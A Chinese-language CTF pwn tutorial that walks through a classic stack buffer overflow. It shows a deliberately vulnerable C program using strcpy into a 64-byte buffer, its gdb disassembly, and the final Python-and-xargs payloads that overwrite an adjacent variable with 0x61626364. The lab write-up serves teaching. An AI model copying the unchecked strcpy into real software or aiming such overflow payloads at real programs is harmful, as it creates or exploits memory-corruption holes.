CTF PWN之精确覆盖变量数据
CTF PWN之精确覆盖变量数据
刚开始接触pwn的朋友在做pwn练习时可能会有这样的疑问,怎么做到精确覆盖变量数据呢?
我们做pwn练习之前需要先知道:命令行参数C语言的main函数拥有两个参数,为int类型的argc参数,以及char**类型argv参数。其中argc参数的值表示命令行参数的个数,而argv则指向一个字符串数组,该数组存储了具体的命令行参数的内容。
这里就用今天的实验,给大家介绍一下!
xargs命令Linux的xargs命令可以将输入数据当做命令行参数传给指定的程序。比如执行命令python -c "print 'AAA BBB CCC'" | xargs ./test后,输出:
python语句执行后输出AAA BBB CCC,通过管道操作作为xargs命令的输入,而xargs将其作为test程序的命令行参数,因此test程序会把这些信息打印出来。
小白:就是我们借助xargs可以把输入数据当成命令行参数输给这个程序。
这就涉及到两种存储规则:大端格式和小端格式。示意图如下图所示:
第一步源码审计使用cd /home/test/2切换到程序所在目录,执行cat pwn2.c即可看到源代码:
#include stdio.h> #include string.h> #include stdlib.h> int main(int argc, char** argv) { int modified; char buffer[64]; if (argc == 1) { printf("please specify an argument\n"); exit(1); } modified = 0; strcpy(buffer, argv[1]); // 引发缓冲区溢出 if (modified == 0x61626364) { printf("Congratulations, you pwned it.\n"); } else { printf("Please try again, you got 0x%08X\n", modified); } return 0; }
这个程序有一个条件modified ==,那么要多少才能pwn出去呢?0x61626364
我们来继续分析,执行gdb pwn2即可开始通过gdb对pwn2进行调试,现在我们需要阅读main函数的汇编代码,在gdb中执行disas main命令即可:
0x080482a3 +3>: and $0xfffffff0,%esp
0x080482a9 +9>: cmpl $0x1,0x8(%ebp)
0x080482ad +13>: jne 0x80482c7 main+39>
0x080482af +15>: movl $0x80b3dac,(%esp)
0x080482b6 +22>: call 0x80493c0
0x080482bb +27>: movl $0x1,(%esp)
0x080482c2 +34>: call 0x8048e90
; modified变量位于esp + 0x5C处,将其初始化为0
0x080482c7 +39>: movl $0x0,0x5c(%esp)
0x080482cf +47>: mov 0xc(%ebp),%eax
0x080482d2 +50>: add $0x4,%eax
0x080482d5 +53>: mov (%eax),%eax
0x080482d7 +55>: mov %eax,0x4(%esp)
; buffer位于esp + 0x1C处,buffer作为strcpy的第一个参数值
0x080482db +59>: lea 0x1c(%esp),%eax
0x080482df +63>: mov %eax,(%esp)
0x080482e2 +66>: call 0x80525b0
0x080482e7 +71>: cmpl $0x61626364,0x5c(%esp)
0x080482ef +79>: jne 0x80482ff main+95>
0x080482f1 +81>: movl $0x80b3dc8,(%esp)
0x080482f8 +88>: call 0x80493c0
0x080482fd +93>: jmp 0x8048314 main+116>
0x080482ff +95>: mov $0x80b3de8,%eax
0x08048304 +100>: mov 0x5c(%esp),%edx
0x08048308 +104>: mov %edx,0x4(%esp)
0x0804830c +108>: mov %eax,(%esp)
0x0804830f +111>: call 0x8049390
下面在gdb中进行验证,在gdb中执行b * 0x080482e7命令对strcpy的下一条指令下一个断点:
在gdb中执行r命令,如下(r后面的数据为64个A以及1234):
r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1234
即r命令后加上空格可以接一个命令行参数,用于传递给被调试的程序。按下Enter键程序就在断点处断下了:
使用x /4xb $esp+0x5C命令,以字节为单位查看内存中0x34333231的表示(其中/4xb用于控制输出格式,4表示4个长度单位,x表示以16进制方式显示,b表示单位为字节):
现在modified变量的值已经被修改成0x34333231了,结合我们的输入数据‘A….A1234’,1234为低地址往高地址方向,可以判断这是小端格式的表示法。
在gdb中输入c命令就可以让程序继续执行,看到输出了错误的提示信息:
现在我们只要合理控制命令行参数的第65~68字节的内容,就可以成功发起溢出攻击了。
python -c "print 'A'*64+'\x64\x63\x62\x61'" | xargs ./pwn2
其实0x61为字符a的ASCII值,因此输入如下的命令同样能达到攻击效果:
python -c "print 'A'*64+'dcba'" | xargs ./pwn2